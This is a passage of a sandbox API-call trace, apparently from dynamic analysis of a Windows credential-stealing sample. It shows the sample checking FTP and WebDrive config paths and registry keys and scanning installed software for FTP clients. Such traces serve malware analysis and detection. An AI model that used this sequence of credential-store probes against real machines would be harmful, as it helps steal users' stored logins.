(lpString="C:\\Windows") returned 10 [0068.480] lstrlenA (lpString="\\32BitFtp.ini") returned 13 [0068.480] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x641518 [0068.480] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0068.480] lstrcatA (in: lpString1="C:\\Windows", lpString2="\\32BitFtp.ini" | out: lpString1="C:\\Windows\\32BitFtp.ini") returned="C:\\Windows\\32BitFtp.ini" [0068.480] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\32BitFtp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x19 [0068.480] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x6415b8 [0068.480] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\32BitFtp.ini", lpDst=0x6415b8, nSize=0x19 | out: lpDst="C:\\Windows\\32BitFtp.ini") returned 0x18 [0068.480] CreateFileA (lpFileName="C:\\Windows\\32BitFtp.ini" (normalized: "c:\\windows\\32bitftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.480] LocalFree (hMem=0x6415b8) returned 0x0 [0068.480] LocalFree (hMem=0x641518) returned 0x0 [0068.480] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.480] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.480] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdcc*=0x10, cb=0x4, pcbWritten=0x12fda8 | out: pcbWritten=0x12fda8*=0x4) returned 0x0 [0068.480] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.480] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.480] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.480] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.480] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.480] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.480] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.480] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x1e, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.480] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.481] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.481] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.481] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.481] lstrlenA (lpString="\\NetDrive") returned 9 [0068.481] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x641518 [0068.481] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.481] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\NetDrive" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive" [0068.481] LocalFree (hMem=0x626a88) returned 0x0 [0068.481] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive") returned 41 [0068.481] lstrlenA (lpString="\\*.*") returned 4 [0068.481] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.481] lstrcpyA (in: lpString1=0x6415d0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive" [0068.482] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive\\*.*" [0068.482] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetDrive\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.482] LocalFree (hMem=0x6415d0) returned 0x0 [0068.482] LocalFree (hMem=0x641518) returned 0x0 [0068.482] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.482] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.482] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.482] lstrlenA (lpString="\\NetDrive") returned 9 [0068.482] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x641518 [0068.482] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.482] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\NetDrive" | out: lpString1="C:\\ProgramData\\NetDrive") returned="C:\\ProgramData\\NetDrive" [0068.482] LocalFree (hMem=0x626a88) returned 0x0 [0068.482] lstrlenA (lpString="C:\\ProgramData\\NetDrive") returned 23 [0068.482] lstrlenA (lpString="\\*.*") returned 4 [0068.482] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x6415b8 [0068.482] lstrcpyA (in: lpString1=0x6415b8, lpString2="C:\\ProgramData\\NetDrive" | out: lpString1="C:\\ProgramData\\NetDrive") returned="C:\\ProgramData\\NetDrive" [0068.482] lstrcatA (in: lpString1="C:\\ProgramData\\NetDrive", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\NetDrive\\*.*") returned="C:\\ProgramData\\NetDrive\\*.*" [0068.482] FindFirstFileA (in: lpFileName="C:\\ProgramData\\NetDrive\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.482] LocalFree (hMem=0x6415b8) returned 0x0 [0068.482] LocalFree (hMem=0x641518) returned 0x0 [0068.482] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.482] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.482] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.482] lstrlenA (lpString="\\NetDrive") returned 9 [0068.482] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.482] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.482] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\NetDrive" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive" [0068.482] LocalFree (hMem=0x626a88) returned 0x0 [0068.483] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive") returned 39 [0068.483] lstrlenA (lpString="\\*.*") returned 4 [0068.483] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x641518 [0068.483] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive" [0068.483] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive\\*.*" [0068.483] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\NetDrive\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0068.483] LocalFree (hMem=0x641518) returned 0x0 [0068.483] LocalFree (hMem=0x6292f8) returned 0x0 [0068.483] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.483] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.483] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.483] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.483] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.483] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.483] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.484] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.484] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.484] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.484] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x1f, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.484] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.484] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\South River Technologies\\WebDrive\\Connections", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.484] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\South River Technologies\\WebDrive\\Connections", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0068.484] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.484] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.484] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.484] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.484] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.484] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.484] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.484] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.484] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0068.484] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0068.484] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x20, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.484] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.484] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_ActiveX.exe -maintain activex", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil10zr_Plugin.exe -maintain plugin", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="\"C:\\Program Files\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe\" --uninstall --system-level --verbose-logging", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Firefox\\uninstall\\helper.exe\"", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="\"C:\\Program Files\\Mozilla Maintenance Service\\uninstall.exe\"", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PRJPROR /dll OSETUP.DLL", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall PROPLUSR /dll OSETUP.DLL", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\setup.exe\" /uninstall VISIOR /dll OSETUP.DLL", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="MsiExec.exe /X{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="MsiExec.exe /X{26A24AE4-039D-4CA4-87B4-2F83217045FF}", lpSrch="FTPCON") returned 0x0 [0068.485] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="FTP CONTROL") returned 0x0 [0068.485] StrStrIA (lpFirst="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{444C5574-6BE0-323E-9BDD-922F6C3C4A04}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{68306422-7C57-373F-8860-D26CE4BA2A15}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0015-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0016-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0018-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0019-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001A-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001B-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.486] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.486] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.487] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.487] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.487] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.487] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0409-0000-0000000FF1CE}\" \"{99ACCA38-6DD3-48A8-96AE-A283C9759279}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.487] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.487] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-040C-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.487] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.487] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.487] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.487] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-040C-0000-0000000FF1CE}\" \"{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.487] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.487] StrStrIA (lpFirst="MsiExec.exe /X{90140000-001F-0C0A-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.487] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.487] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.487] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.487] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-001F-0C0A-0000-0000000FF1CE}\" \"{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.488] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.488] StrStrIA (lpFirst="MsiExec.exe /X{90140000-002C-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.488] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.488] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.488] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.488] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-002C-0409-0000-0000000FF1CE}\" \"{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.488] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.488] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0044-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.488] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.488] StrStrIA (lpFirst="MsiExec.exe /X{90140000-0054-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.488] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.488] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-0054-0409-0000-0000000FF1CE}\" \"{CDC4310F-8189-485F-B47D-D972217CE173}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.488] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.488] StrStrIA (lpFirst="MsiExec.exe /X{90140000-006E-0409-0000-0000000FF1CE}", lpSrch="FTPCON") returned 0x0 [0068.488] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="FTP CONTROL") returned 0x0 [0068.488] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.488] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.488] StrStrIA (lpFirst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe\" /removereleaseinpatch \"{90140000-006E-0409-0000-0000000FF1CE}\" \"{4560037C-E356-444A-A015-D21F487D809E}\" \"1033\" \"0\"", lpSrch="FTPCON") returned 0x0 [0068.489] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FTP CONTROL") returned 0x0 [0068.489] StrStrIA 